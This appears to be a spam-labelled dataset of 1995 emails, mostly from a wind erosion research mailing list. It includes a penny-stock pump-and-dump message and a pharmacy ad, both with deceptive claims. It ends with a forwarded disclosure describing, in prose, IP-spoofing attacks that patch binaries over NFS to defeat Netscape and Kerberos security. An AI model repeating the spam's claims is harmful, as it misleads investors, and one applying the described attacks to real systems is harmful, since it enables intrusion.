effect both processes and morphology. This session will provide an opportunity to present recent and on-going research on aeolian processes and paleoenvironmental interpretations in both Canada and internationally. The session will be structured to ensure that there will be ample time for discussion and open debate. Field Trip A 3 1/2 day pre-meeting field trip related to both of the CGRG sponsored sessions is planned for May 9-12. The trip will take participants through the semi-arid core of the Palliser Triangle and across the Cypress Hills, a forested oasis in the middle of the prairies. Stops will discuss Tertiary and Pleistocene geomorphology, with emphasis on Holocene paleoenvironmental records and geomorphic processes. Highlights include visits to the Great Sand Hills, Killdeer Badlands (Grasslands National Park), unglaciated terrains, the St. Victor Petroglyphs and fine dining at the Spring Valley Guest Ranch. For aeolian researchers, it will be an excellent opportunity to observe active parabolic dunes, cliff-top dunes and loess deposits. Number of participants will be limited. First Circular will be distributed by the CAG in December. To ensure you receive a circular, please contact Alec Aitken. If you are interested in contributing a paper or a poster to either session, please contact either Don Lemmen or Steve Wolfe. LOCAL COMMITTEE Alec Aitken Dept. of Geography University of Saskatchewan Ph. 306-966-5672 Fax 306-966-5680 e-mail aitkenae@sask.usask.ca PALLISER TRIANGLE SESSION & FIELD TRIP Don Lemmen Terrain Sciences Division Geological Survey of Canada Ph. 403-292-7184 Fax 403-292-7034 e-mail lemmen@gsc.emr.ca AEOLIAN SESSION Steve Wolfe Terrain Sciences Division Geological Survey of Canada Ph. 403-920-8529 Fax 403-669-9700 e-mail swolfe@gsc.emr.ca ",0,0 """Zb. ZWOLINSKI"" ",Multiple recipients of list ,"Fri, 22 Sep 1995 10:32:18 -0500",Polish geomorphologists on the WWW,"We would like to inform that WWW server of the Association of Polish Geomorphologists will be officially open since September 27, 1995. The URL address is: http://hum.amu.edu.pl/~sgp/welcome.html On this server you can find following topics: The Constitution Organizational structure Members of Honour Ordinary members News Conferences Contest of the best Ph.D. Thesis Publications The Virtual Geomorphology Useful links: The Earth Science Site of the Week Geomorphological organizations Related institutions Information and data On-line publications Libraries and indexes Publishers Education Newsgroups GeoWWWservers Search engines We would appreciate yours comments, remarks and additions. Have fun with our WWW Home Page. President of the APG General Secretary of the APG Prof. Dr. Stefan Kozarski Dr. Zbigniew Zwolinski (e-mail: kozarski@pozman.edu.pl) (e-mail: zbzw@hum.amu.edu.pl) ========================================== The Association of Polish Geomorphologists Fredry 10, 61-701 Poznan, Poland phone: +48-61 529327; fax: +48-61 530234 e-mail: sgp@hum.amu.edu.pl ========================================== ",0,1 adgjl@ttacs1.ttu.edu,Multiple recipients of list ,"Fri, 22 Sep 1995 13:13:09 -0500",modulus?,"I am reviewing a paper and the term ""Modulus"" is used to describe rate of vertical transport. Can anyone tell me the origin of this term in aeolian studies? The dictionary definitions I have seen suggest a standard quantity or some variation on that theme which does not fit the usage in the paper I am reading. Any thoughts? Thanks, Jeff ------------------------------------------------------------------ ------------------------------------------------------------------ Jeff Lee Dept. of Economics and Geography Texas Tech University Lubbock, Texas 79409-1014 USA Phone: 1-806-742-3838 Fax: 1-806-742-1137 e-mail: adgjl@ttacs.ttu.edu or j.lee@ttu.edu ------------------------------------------------------------------ ------------------------------------------------------------------ ",0,0 Tod Newman ,lorene@zingg.weru.ksu.edu,"Two, Sat, 23 Sep 1995 16:38:57 -0120",[fwd] Market Share Picks Trade Special News,"New Release This one is from the Oil Sector. We expect great things. CTXE - CANTEX ENERGY CORP Big News Expected! PRICE: 0.70 5 Day expected 2.12 Today was another great day of movement! Just as we promised. Starting to climb. Tuesday should be even better! A very large marketing campaign has started today and will run thru the week. In past campaings we have seen things really get moving with an offer like this. Cantex Energy Corp. Update on the Seismic Program for Big Canyon Ranch Project Friday April 21, 9:30 am ET SAN ANTONIO, TX--(MARKET WIRE)--Apr 21, 2006 -- Cantex Energy Corp. Management wishes to update its shareholders on the seismic program being undertaken on the 48,644 acres Big Canyon Prospect in West Texas. The Company is very pleased to confirm that the extensive geophysical program to be undertaken with Providence Technologies will commence in May 2006 with the recent confirmation of securing Quantum Geophysical, Inc. to conduct the 40 mile seismic shoot known as Big Canyon 2D Swath. Trace Maurin, president of Cantex, states, ""In today's market, getting a seismic operator is as difficult as trying to get a drilling rig and we are happy to inform our shareholders that we are now very close to proving up the world class potential reserves in the Val Verde play."" This 2D Swath design is licensed by Providence Technologies, which is a unique application that has proved to be effective in the Val Verde Basin where our Prospect is situated. Upon completion of the first swath and data processing it will give a good picture of the structure, and completion of the second swath will give an idea of closure. Cantex Energy Corp. is an independent, managed risk, oil and gas exploration, development, and production company headquartered in San Antonio, Texas. The Company's additional focus is the optimal exploitation and development of approximately 1,200 acres known as the West Ant Hills Prospect located in Niobrara County, Wyoming. ",1,0 pak04501@pixie.co.za,paul@ECE.ORST.EDU,"Thu, 28 Sep 1995 11:13:49 -0200",Paul's page,"Hi paul. I am an avid 8051 programmer, and would like you to mail me whenever you have something new on your page. I am particularly interested in the 89C2051 programmer you developed. I have written a few libraries, Included in the zip file. If you find it useful place in on your page. Greetings from the most southern point of dark africa. Stephan Joubert. ",0,0 a03cramerman@attmail.com,Multiple recipients of list ,"Fri, 29 Sep 1995 07:44:44 -0500",Wisconsin Wind Erosion,"In response to Eric Hurley's note of September 15 -- While I was stationed with ARS at the University of Wisconsin, Madison in the late '60's, early '70's, farmers of the Central Sands area were ripping out their shelterbelts to make room for their new center pivots to operate. Dean Pound's office became concerned, and we had a wind erosion committee for awhile. Looking into the literature, I found that the earliest bulletin on wind erosion in Wisconsin was written by F. H. King in 1894, I think it was. I got the last copy that the UW bulletin distribution room had, carried it around awhile, then gave it to the ARS wind erosion lab at Manhatten, KS -- hope they still have it. That 1894 bulletin appeared almost modern in the issues it was discussing - and the pictures could have been taken yesterday. Neal Woodruff brought his portable wind tunnel and crew to Wisconsin. He and his crew, Art Peterson of the UW Soils Department, and I spent a week running the tunnel in various places. I remember working in the Hancock and Tomah areas, and there may have been some measurements in between. We wrote up the results of the tests in a local, paperbacked bulletin that is probably long gone. Gary Bubenzer may have a copy. The Dean's office was happy, and the committee was disbanded. Just thought you might find this interesting, Eric. Say hello to Gary for me if he is not a lurker. ",0,0 Patrice ,paige@zingg.weru.ksu.edu,"Sat, 30 Sep 1995 04:28:22 +0600",Check out the big savings on generic medicati0n! Albert,"You don't need to talk to a doctor to get the sexual help that you need. Have a look here. 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The company is currently targeting to obtain media coverage in: - Fortune Magazine, a Time Inc. Co. (TWX:NYSE) - Money Magazine, a Time Inc. Co. (TWX:NYSE) - Wall Street Journal, a Dow Jones Co (DJ:NYSE) - USA Today, a Division of Gannett Co. (GCI:NYSE) - IBD (Investors Business Daily) - Financial Times - eBay Enterprises (EBAY:NASDAQ) - Google (GOOG:NASDAQ) - Yahoo (YHOO:NASDAQ) ""Following the successful launch of Clixme, we need to let everyone know about our product and the usages it provides to e-marketing vendors,"" stated Fotis Georgiadis, CEO of De Greko. ""We are currently preparing a detailed National Campaign with the largest publications and portals in the country. We are quite confident that the American public will not only find out about the many usages of the Clixme platform, but eventually all the other developments De Greko have in mind."" ""De Greko's team was inundated with requests for the new Clixme product that was launched yesterday on the De Greko website. "" ""Our phones were ringing off the hook with people asking questions about how they could get the Clixme service for their own websites,"" said CEO Fotis Georgiadis. ""We will be posting a pre-registration form for companies interested in deploying the service on their own website when we launch the service to businesses nationwide."" Do your research now! You have a load of press to read before Monday. P3QO7TVCE6X6H6UO Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received one million free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. . It is an operating company and producing revenues. Read the Company's Annual Report and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. 5H9T971MH9NH92CB ",1,0 Ted Zobeck ,Multiple recipients of list ,"Wed, 04 Oct 1995 15:41:38 -0500",Re: Air Pollution Conferenc,"Wind Erosion List Members: The following announcement was recently received. Please pass it on to anyone you think may be interested. Ted ----------------------------------------FIRST ANNOUNCEMENT----------------------------------- ""Please reply if interested in the final advance program and conference registration"" ""Check Web Site: http://ageninfo.tamu.edu/~bshaw/mwps.html for the latest information"" ""Please let me know if you want an attached WP6.0 file of this announcement"" ""Forward this message to others in your company or institution"" First International Conference on Air Pollution from Agricultural Operations (ICAPAO96) 7-9 February 1996 Kansas City, Missouri, U.S.A. Presented by: The Midwest Plan Service: ""Engineers Solving Problems in Agriculture"" In Cooperation with: American Society of Agricultural Engineers (SE 305 Air Quality Committee) Northeast Regional Agricultural Engineering Service U.S.D.A. Cooperative Extension Service The First International Conference on Air Pollution from Agricultural Operations is expected to attract over 300 engineers, scientists, researchers, educators, national and state regulatory officials, air pollution control manufacturers, consultants, hygienists, and leaders in the agricultural production industry. The technical program will include the following topics: Agricultural Odor Air Dispersion Modeling Air Pollution Abatement Ammonia Emissions Ammonia Reduction Animal Diet Effects Bioaerosol Emissions Bioaerosol Sampling Bioscrubbers Dust Measurements Electronic Noses Emission Factors Emissions Inventories Engine Emissions Fugitive Dust Governmental Policy Grain Elevator Emissions Harvest Operations Health Effects Indoor Air Quality Lagoon Covers Manure Treatment Manure Storage Mobile Laboratories Modeling Measuring Emissions Odor Measurements Ozonation Pesticide Vapor Losses PM10 Measurements Porous Ceilings Poultry Housing Siting of Buildings Soil Dust Generation Swine Housing Wind Erosion Professional skills can be learned in workshops that cover the following subjects: Aerosol Sampling in Animal Houses Air Cleaning in Animal Housing Assessment of Indoor Air Quality Bioaerosol Sampling Cyclones Gas and Particle Physics Odor measurement Regulatory Compliance for Ag Facilities Source Control of Dust/Gas Emissions Wet Scrubbers PROGRAM SUMMARY All scheduled events will be held at the Westin Crown Center. Complete schedule with locations to be distributed at the conference. TUESDAY, 6 FEBRUARY 1996 5:00-8:00 pm Registration and Information 7:00-9:00 pm Welcome Reception WEDNESDAY, 7 FEBRUARY 1996 8:00-5:00 Registration and Information 8:30-10:00 Concurrent Workshops 1 and 2 10:00-10:15 Coffee Break 10:15-11:15 Concurrent Workshops 2 (continued) and 3 12:00-1:20 Opening Session (Speaker: Stan Meiberg, U.S. EPA Region 6 ) 1:30-3:15 Technical Session 1 3:15-3:45 Coffee Break 3:45-5:15 Concurrent Technical Sessions 2 and 3 6:30-8:00 Reception (Speaker: C.E. van't Klooster, IMAG, The Netherlands) THURSDAY, 8 FEBRUARY 1996 8:00-9:30 Concurrent Workshops 4, 5 and 6 9:30-9:45 Coffee Break 9:45-11:45 Concurrent Technical Sessions 4 and 5 11:45-1:00 Luncheon (Speaker: John Sweeten, Texas A&M University) 1:00-2:45 Concurrent Technical Sessions 6 and 7 and 8 3:00-3:30 Coffee Break 3:30-5:00 Concurrent Workshops 7 and 8 6:30-8:15 Banquet FRIDAY, 9 FEBRUARY 1996 8:30-9:30 Concurrent Workshops 9 and 10 9:30-9:45 Coffee Break 9:45-11:30 Concurrent Technical Sessions 9 and 10 11:45-12:45 Luncheon and Conference Evaluation GENERAL INFORMATION FINAL ADVANCE PROGRAM To receive the final advance program with complete registration, housing, and program information, simply send your complete mailing address to: Dr. Albert J. Heber, Conference Chairman Department of Agricultural and Biological Engineering Purdue University, West Lafayette, IN 47907 email: heber@ecn.purdue.edu, FAX: 317-496-1115; Phone: 317-494-1214 REGISTRATION The registration fee is $245 for attendees if postmarked before January 10, otherwise the fee is $285. The fee includes the proceedings, three meals, a reception, a banquet and coffee breaks. Checks (in U.S. funds) are payable to Iowa State University and should be mailed with the registration form to: Carole Seifert Iowa State University Extended & Continuing Education 102 Scheman Ames, Iowa 50011-1112 email: x1seifer@xnet.iastate.edu, Phone: 515-294-1400, FAX: 515-294-6223 CONFERENCE SITE AND ARRANGEMENTS The Conference will be held at the Westin Crown Center in Kansas City, Missouri: The Westin Crown Center One Pershing Road Kansas City, MO 64108 1-816-474-4400 or 1-800-228-3000 FAX: 1-816-391-4438 The Westin Crown Center has reserved a block of guest rooms at the Single or Double Occupancy rate of $82.00 per night plus the applicable tax. The cut-off-date for these rooms is January 19, 1996. Shuttle from the airport: KCI Airport Express. Go to white courtesy phone and dial 5000 to arrange for shuttle. Purchase tickets at airport - $11/one way, $19/round trip. CONFERENCE PROCEEDINGS Each participant will receive a copy of the proceedings to be distributed at the conference. Additional copies can be ordered at $55 plus $5.50 for postage/handling from: Midwest Plan Service, 122 Davidson Hall Iowa State University, Ames, Iowa 50011 1-800-562-3618 CONFERENCE ORGANIZING COMMITTEE Conference Chair and Program Committee Chairman: Albert Heber, Associate Professor, Purdue University, U.S.A. Governmental Participation Committee Chairman: Bradley Rein, National Program Leader, Agri-Industry Systems/Farm Safety, U.S.A. Industrial Participation Committee Chairman: Bruce Lesikar, Associate Professor, Texas A&M University, U.S.A. International Participation Committee Chairman: Ruihong Zhang, Assistant Professor, Iowa State University, U.S.A. Keynote Speakers Committee Chairman: Calvin Parnell, Professor, Texas A&M University, U.S.A. Local Arrangements and Hospitality Committee Chairman: Charlie Persinger, Conferences Manager, Iowa State University, U.S.A. Proceedings Committee Chairman: Anne McFarland, Senior Research Associate, Texas Institute for Applied Environmental Research, U.S.A. Karen Curtit, Manager of Engineering, Shell Engineering and Associates, U.S.A. Larry Jacobson, Associate Professor, University of Minnesota, U.S.A. David Lusk, Texas Natural Resources Conservation Commission, U.S.A. Ronaldo Maghiring, Assistant Professor, Kansas State University, U.S.A. Steve Olenchock, National Instititute of Occupational Safety and Health, U.S.A. John A. Pickrell, Professor, Department of Clinical Toxicology, Kansas State University, U.S.A. Bryan Shaw, Assistant Professor, Texas A&M University, U.S.A. Cees van't Klooster, Institute of Agricultural Engineering, The Netherlands Jan Voermans, Deputy Director, Research Institute for Pig Husbandry, The Netherlands Yuanhui Zhang, Associate Professor, Prairie Swine Research Centre, Canada LIST OF CONFERENCE WORKSHOPS 1. GAS AND PARTICLE PHYSICS (1.5 hours) William Heumann, President, Fisher-Klosterman, Louisville, KY, U.S.A. 2. ODOR MEASUREMENT (1.5 hours) Dr. Anne McFarland, Texas Institute for Applied Environmental Research, TX, U.S.A. Dr. John Sweeten, Texas A&M University, College Station, TX, U.S.A. Dr. Dwaine Bundy, Iowa State University, Ames, Iowa, U.S.A. 3. CYCLONE DESIGN AND PERFORMANCE (1.0 hours) William Heumann, President, Fisher-Klosterman, Louisville, KY, U.S.A. 4. AEROSOL SAMPLING IN ANIMAL HOUSES (1.0 hours) Dr. Jorg Hartung, University of Hannover, Germany 5. REGULATORY COMPLIANCE FOR MISSOURI AG FACILITIES (1.5 hours) Karen Curtit, Shell Engineering, Columbia, MO, U.S.A. 6. WET SCRUBBERS (PARTICULATE) (1.0 hours) William Heumann, Fisher-Klosterman, Inc., Louisville, KY, U.S.A. 7. SOURCE CONTROL OF DUST AND GAS IN BUILDINGS (1.0 hours) Dr. Yuanhui Zhang, Prairie Swine Research Centre, Saskatchewan, Canada 8. OPERATION OF STATE AIR PERMITTING OFFICES (1.5 hours) David Lusk, Texas Natural Resources Conservation Commission, TX, U.S.A. 9. AIR CLEANING IN ANIMAL HOUSING (1.0 hours) Dr. Yuanhui Zhang, Prairie Swine Research Centre, Saskatchewan, Canada 10. BIOAEROSOL SAMPLING (1.0 hours) Jim Morton, Graseby-Anderson, Atlanta, GA, U.S.A. LIST OF TECHNICAL SESSIONS AND PAPERS SESSION 1. REGULATIONS AND THEIR IMPACT ON AGRICULTURAL INDUSTRIES/OPERATIONS Moderator: Bryan W. Shaw, Agricultural Engineering, Texas A&M University, U.S.A. Federal Clean Air Act of 1990 - Implications for Agricultural Industries B.J. Lesikar, B.W. Shaw and C.B. Parnell, Jr. Emission Factor Development for Agricultural Sources T. Lapp and D. Safriet Regulation of Agricultural Operations Using Emission Factors and Process Weight Tables C.B. Parnell, Jr. Feed Mill Emission Factors Associated with Air Pollution Regulations of Cattle Feed Yards B.W. Shaw, B.J. Lesikar and C.B. Parnell, Jr. Air Dispersion Modeling as Part of the Regulatory Process L.J. Williams and C.B. Parnell, Jr. Toward a Coordinated Policy Response to Agricultural Odor J.M. McNitt and S.J. Pratt Management and Policy Effects on Dust from Wind Erosion J.M. Gregory and R.Vining SESSION 2. WIND EROSION: PREDICTIONS, MEASUREMENTS AND PM10 Moderator: C.R. Amerman, USDA-ARS-NPS Airborne Dust and Sediment Measurements in Agricultural Fields T.M. Zobeck, J.E. Stout and D.W. Fryrear Wind Erosion and Dust D.W. Fryrear, J. Xiao and W. Chen Calculating the Threshold of Soil Movement in Wind-Eroding Fields J.E. Stout and T. M. Zobeck An Overview of the Wind Erosion Prediction System L.E. Wagner PM10 Soil Dust Generation by Wind Erosion L.J. Hagen, N. Mirzamostafa and A. Hawkins Measurement of PM10 Potential from Soils Using a Dust Resuspension Chamber O. Carvacho, L.L. Ashbaugh, R.T. Matsumura, J. K. Dean and R.G. Flocchini Influence of Area Source Shape and Orientation on the Spatial Variation of Emissions J. E. Stout SESSION 3. MEASUREMENT AND CONTROL OF AMMONIA AND BIOAEROSOL EMISSIONS FROM SWINE BUILDINGS Moderator: Jan A.M. Voermans, Deputy Director, Research Institute for Pig Husbandry, The Netherlands New Housing Systems for Pigs: Dutch Policy, Ammonia Emission and Costs N. Verdoes, J.A.M. Voermans and C.E.P. van Brakel Evaluation of Mass Transfer Coefficient of Ammonia from Liquid Swine Manure J. Arogo, D.L. Day, L.L. Christianson, G.L. Riskowski and R. Zhang. Management Practices for Improving Air Quality in Swine Farrowing B.R. Strobel, A.J. Heber, C.C. Wu, D.D. Jones, J.A. Patterson and A.L. Sutton Measuring and Modeling the Fate of Swine Manure Gas Emissions G.C. Edwards, C. Wagner-Riddle, G. Kachanoski, D. Barry and G.W. Thurtell Emission and Distribution of Bacteria and Dust from Farm Animal Housing J. Hartung Bioaerosol Distribution around a Commercial Swine Production Complex A.J. Heber, M.J. Homes, C.C. Wu, D.D. Jones, K.L.Clark and B.R. Strobel Livestock Production Site Evaluation Procedures J.A. Hoehne and J.M. Zulovich SESSION 4. EMISSIONS FROM AREA AND MOVING POINT SOURCES Moderator: Anne M.S. McFarland, Texas Institute for Appied Environmental Research, Texas, U.S.A. Strategies for Measuring Particulate Emissions from Agricultural Operations C. Cowherd, Jr. and G.E. Muleski Size Distribution of PM10 Soil Dust Emissions From Harvesting Crops R.T. Matsumura, L.L. Ashbaugh, T.A. James, O.F. Carvacho and R.G. Flocchini Methods for Collecting and Quantifying Pesticide Vapor Losses from Soil R.D. McCall, T.L. Lavy and J.D. Mattice Modeling Hourly and Daily Wind and Relative Humidity J.M. Gregory, G.R. Wilson and R.Vining Modeling PM10 Dust Emissions from Field Harvest Operations L.L. Ashbaugh, R.T. Matsumura, T.A. James, O.F. Carvacho and R.G. Flocchini Reducing Harmful Diesel Emissions with Rapeseed Methyl Ester Fuel L. Janosi, D. Ess and H. Gibson Strategies for Measuring Fugitive Dust Emissions T.A. James, R.T. Matsumura, O.F. Carvacho, L.L. Ashbaugh and R.G. Flocchini. SESSION 5. MEASUREMENTS AND CONTROL OF EMISSIONS FROM ENCLOSED SOURCES Moderator: Brad Rein, National Program Leader, Agri-Industry Systems/Farm Safety, U.S.A. Measuring Livestock Building Emissions of Methane, Ammonia, Odor and Dust C.E. van't Klooster Aerial Emissions In and Around Livestock Buildings J. Hartung Measuring Ammonia Emissions from Naturally-Ventilated Livestock Buildings T.G.M. Demmers, L.R. Burgess, V.R. Phillips, J.A. Clark and C.M. Wathes Pollutant Emissions Inventory of Poultry Buildings in the U.K. R.W. Sneath, M.R. Holden, V.R. Phillips, R.P. White and C.M. Wathes Prediction Modeling of Ammonia Emissions from Dairy Cow Housing G.J. Monteny, D.D. Schulte and A. Elzing An Odour Emission Model for Beef Cattle Feedlots C.M. Lunney and R.J. Smith Laboratory Tests of a Bioscrubber for Treating Swine House Exhaust Air L. Dong, A.J. Heber, J.A. Patterson, B.R. Strobel, D.D. Jones and A.L. Sutton SESSION 6. ODOR SAMPLING AND MEASUREMENT Moderator: C.M. (Mike) Williams, Director, Animal and Poultry Waste Management Center, North Carolina State University, U.S.A. The Impact of Familiarity and Preference on Odor Offensiveness A. McFarland and N. Easterling Experiences with Dynamic Olfactometry for Measuring Livestock Odor D.S. Bundy, Q. Liu and S.J. Hoff Odor From Commercial Swine Operations Using Scentometer Observations J.M. Sweeten Monitoring Agricultural Odours with Conducting Polymer Odour Sensing Arrays K.C. Persaud, S.M. Khaffaf, R. Sneath, P. Hobbs and T. Misselbrook Differentiating Swine Odor Sources using Polymer Arrays (Electronic Nose) S.S. Schiffman, J.J. Classen, B.G. Kermani and H.T. Nagle Comparison of Two Methods for Estimating Odour Emissions From Area Sources R.J. Smith and J.P. Kelly Comparison of Measuring Techniques for Livestock Odour Assessment P.J. Hobbs, T.H. Misselbrook and B.F.Pain SESSION 7. DUST AND PARTICULATES IN GRAIN AND SWINE FACILITIES Moderator: John A. Pickrell, Kansas State University Particulate Emissions from Grain Elevators Without Dust Collection Systems G.E. Muleski and G. Garman Grain Elevator Dust Emissions: Results of a Field Test at a Country Elevator P. Kenkel and R. Noyes Relative Dust Indices for Different Grains -- Bench Scale Testing G.E. Muleski and G. Garman Effectiveness of Cyclone Designs in Collecting Gin Trash Particulate Emissions S.E. Hughs Cyclone Design for Air Pollution Abatement C.B. Parnell, Jr. Airborne Dust Concentration Variation in Swine Buildings H. Takai, L.D. Jacobson and S. Morsing The Study of Swine Dust Behavior Using a Full-Scale Laboratory Room L.D. Jacobson, H. Takai and S. Morsing SESSION 8. HEALTH RISKS, MEASUREMENT AND CONTROL OF AIR QUALITY IN LIVESTOCK BUILDINGS Moderator: To be announced. Evaluation of Air Quality in a Swine Nursery M.C. Puma, R.G. Maghirang, P. Clark and Y. Liu Gas and Dust Concentrations in Pig Finishing Buildings L.D. Jacobson, K.A. Janni and V.J. Johnson Modeling Porous Ceilings for Improving Air Quality P. Marchal and N. Heude Air Recirculation Effects on Swine House Air Quality and Comparison of Respiratory Protection Masks J.A. Pickrell, A.J. Heber, J.P. Murphy, S.C. Henry, F.W. Oehme, M.M. May, D. Nolan, S.K. Gearhart, B.L. Cederberg, R. Maghirang and D. Schoneweis Effect of Negative Air Ionization on Inhalable Particulates in a Hatching Cabinet B.W. Mitchell Health Risks of Swine House Bioaerosols for Animal and Man J. Hartung and D. Nowak Assessment of Broiler Respiratory Tissue After Exposure to Respirable Aerosols G.L. Van Wicklen, T.L. Foutz, G.N. Rowland and E.W.Tollner SESSION 9. ODOR FROM MANURE STORAGE Moderator: Larry Jacobson, University of Minnesota Natural and Biological Odour Control Methods for Swine Manure Storage H.L. Filson, W.T. Henley, B.E. Reding and D. Sand Ozonation of Manure to Reduce Odor and Pathogenic Bacteria S.J. Masten, J. J. Wu, B. Watkins, S.M. Hengemuehle, S.H. Park, H.L. Person and M.T. Yokoyama A Low-Cost Balloon-Type Lagoon Cover to Reduce Odours Y. Zhang Surface Aeration of Anaerobic Lagoons to Control Odors R. Zhang, N. Rashid, P. Dugba, and D.S. Bundy Effect of Tall Fences on Odor Emission from Manure Storage Q. Liu, D.S. Bundy and S.J. Hoff Effect of Water to Feed Ratio in Weanling Pig Rations on Slurry Odorants Hobbs, P.J., T.H. Misselbrook and B.F. Pain A System to Test Manure Additives for Controlling Odor D.S. Bundy, Q. Liu and G. Greene SESSION 10. CONTROL AND REDUCTION OF AMMONIA EMISSIONS FROM ENCLOSED SOURCES Moderator: Yuanhui Zhang, Prairie Swine Research Centre Reducing Ammonia Emissions from Housing And Manure Storage Systems for Layers P.W.G. Groot-Koerkamp, W. Kroodsma and G.J. Monteny Possibilities of Ammonia Reduction on Sow Farms N. Verdoes, G.B.C. Backus and J.A.M. Voermans Ammonia Emission Floor Factors for Swine Houses with Slatted Floors J. Ni, D. Berckmans, J. Coenegrachts, C.Vinckier and V. Goedseels Ammonia Production from Swine Waste as Influenced by Diet Manipulation L.W. Turner, G.L. Cromwell, T.C. Bridges, S.D. Carter and R.S. Gates Effect of Diet and Housing Methods on Ammonia Emission from Swine Finishing C.M.C. van der Peet-Schwering, N. Verdoes and J.A.M. Voermans Potential Treatments of Livestock Manure to Reduce Air Pollution in China B. Li and S. Zhang Beyond Odors-Potential Impact of Emissions on Manure Management C.D. Fulhage ------------------SEE YOU IN KANSAS CITY! ------------------ ",0,1 HURLEYER@aol.com,Multiple recipients of list ,"Thu, 05 Oct 1995 16:49:00 -0500",Land damaged by Wind Erosion,"We want to update some information on land damaged by wind erosion in the United States that we use in presentations to indicate the cyclic nature of wind erosion. The only source I have is copied bar graph from from Soil Conservation, vol. 42, No. 12, 1977. The original source of the information is not indicated. Who keeps track of this information? Can anyone out there send me the land damaged by wind erosion estimates up to the present? A table of the data or a Lotus spreadsheet file would be ideal. I would also appreciate any information you may have on how this data is estmated. Thanks. ",0,0 Keith D Markman ,schuette@DEPAUW.EDU,"Fri, 06 Oct 1995 17:05:09 -0400",Running thmes in the work of Schuette - an essay by Lionel Trilling," Rob Schuette's early work - the ""Brown"" period - asserts an existential and absurdist manifesto: The juxtaposition of obscure and incongruous is funny. Body parts, especially the anus - because of it's obvious viscerality - and the spleen - because of its functionality and monosyllabic obscurity - are common images in his work, as is a more general obssession with nudity, especially when the nudity is displayed at inappropriate times and uncalled for situations. His humor strikes a raw nerve, exploring heretofore unvisited territory, forcing the listener to take a dark journey into the twisted caverns of a seemingly tortured and unstable mind. But, is he truly unstable? Critics fall on both sides of the fence of what has become perhaps the key question in modern humorist analysis? It is the opinion of this writer that Schuette has merely been ""taking us for a ride"" - that what comes across as certain evidence of a clinical syndrome is actually a clever and stable mind, carefully formulating it's next absurdist foray into madness. Consider the running themes in his work - used ""schtick"", to put it more coarsely. A review of his works finds over 300 references to the spleen, 400 scenarios involving nudity, and 780 uses of various expletives paired with violent or unfortunate occurrences to obscure persons. Indeed, perhaps Schuette has come to over rely on his ""schtick"" - a recent review of the works that comprise is later ""clean, mean, and void"" period see a continued use of various themes. For instance, an obssession with the death of cats and spiders continues to pervade his work - borne, no doubt, from prior unfortunate experiences with such creatures. Indeed, the presence of these creatures in his works represents, no doubt, some type of Freudian transference of fear from himself to his enthusiastic but unsuspecting audience. However, the cathartic benefits that he derives from employing such themes in his work seem to be fairly ephemeral, as they seem to reappear in his work time and again, and yet again and again and again. The clean/mean/void period (slashes have recently been used to represent the fractured nature of his later work) has developed some new obssessions. For instance, there appears to be a new preoccupation with the obscure sport of kickboxing, which has never really caught on as a sport to be taken seriously. The first several times that kickboxing appeared in his work seemed to be an almost wistful pining for the earlier Brown period, in which obscure references were a key component of his writings. The Amish have also been targeted as the focus of humor, on several occasions. In the opinion of this critic, however, these references have appeared in his recent work at an almost alarming rate. Perhaps the best example is the continued use of habadashery as a profession to be mocked - the obscure arts of making and selling hats is a leftover remnant from his Brown period, still appearing in his work today. Was Schuette's father a habadasher? Does Schuette fear hats, or merely what they represent - a way of cloaking the individual's appearance? Is Schuette hiding from his schtick? Or, is he trying to show us, through his schtick, that we are all trying to cloak ourselves - that life is, in a sense, an elaborate masquerade party, buffetted with self-presentation and self-promotion, eschewing any real exposure of our true selves to the world. Or, would Schuette be happier in such a world, where he can continue to lead the unsuspecting down the twisted morass of a cleverly perverted mind? In sum, the work of Schuette presents us with a mass of contradictions, on several different levels. Indeed, this is where the true art of his work lies. For, it is those contradictions that make us laugh - or cringe - at the micro-level. Yet, at the meta-level, it is the contradiction that Schuette, himself, represents, that continues to both attract and repel us, making him perhaps the most fascinating creature of all, worthy of our study and analysis. Lionel Trilling ",0,0 rah@shipwright.com,www-buyinfo@allegra.att.com,"Wed, 11 Oct 1995 00:50:54 -0400",(cpx) Basic Flaws in Internet Security and Commerce,"--- begin forwarded text From: gauthier@espresso.CS.Berkeley.EDU (Paul_A Gauthier) To: cypherpunks@toad.com, bugtraq@crimelab.com Cc: gauthier@cs.Berkeley.EDU, brewer@cs.Berkeley.EDU, iang@cs.Berkeley.EDU, daw@cs.Berkeley.EDU, fur@netscape.com Subject: Basic Flaws in Internet Security and Commerce Date: Mon, 09 Oct 1995 14:26:06 -0700 Sender: owner-cypherpunks@toad.com Precedence: bulk Basic Flaws in Internet Security and Commerce We believe that the current focus on secure session-layer protocols and sufficient randomness have obscured more fundamental flaws in end-to-end security. In particular, secure end-to-end transactions require two parts: a secure protocol to communicate over untrusted channels, and trusted code at both endpoints. The latter problem has received less attention, but destroys security regardless of the quality of the protocols or of the random numbers. We have implemented a series of related attacks utilizing IP spoofing: * We can spoof NFS to patch binaries on the fly if we are on any subnet between the NFS client and NFS server. We used this to turn legitimate Netscape browsers into versions that used a fixed key (known only to us), thus invisibly eliminating security. * The same trick allows us to defeat Kerberos security by attacking kinit. * We can also spoof NFS file-handle lookups, so that we can replace any file (such as .login) with another file that runs with root access privileges (even if the requesting user cannot). These work because the trusted path to executables is really not trustworthy in most environments. Although we use on-the-wire patching to compromise executables, the client binaries can also be compromised during download, by on-the-wire patching of FTP or HTTP transfers. Trojan horses and viruses could also patch the client software after it's on the local disk, especially on systems like Windows 95 that do not provide access control for files. Given that these are realistic threats, we believe that these issues must be resolved before internet security and commerce are realistic. ------------------------------------------------------------------------------- We began to consider in more detail some fundamental weaknesses of common network security practices that would lead to trivial further attacks on Netscape as well as many other security tools like Kerberos. It was our goal to demonstrate that it is trivially possible to patch executables on-the-wire to completely compromise their security. In doing so, we hope to reinforce the point that security is an end-to-end problem that is far harder than getting the protocols correct. Strong, correct protocols only make more subtle endpoint attacks more likely, especially in light of the potential for financial gain as the amount of commerce on the Internet increases. Most of the attacks we discuss are suitable for the systematic exploitation of large groups of users: an entire organization, or even a large fraction of the user base of a particular piece of software. In many computing environments a pool of common executables, like the Netscape binary, are provided to clients by a fileserver. In such systems, including NFS, AFS and Windows NT, there is no authentication of the file contents sent between clients and 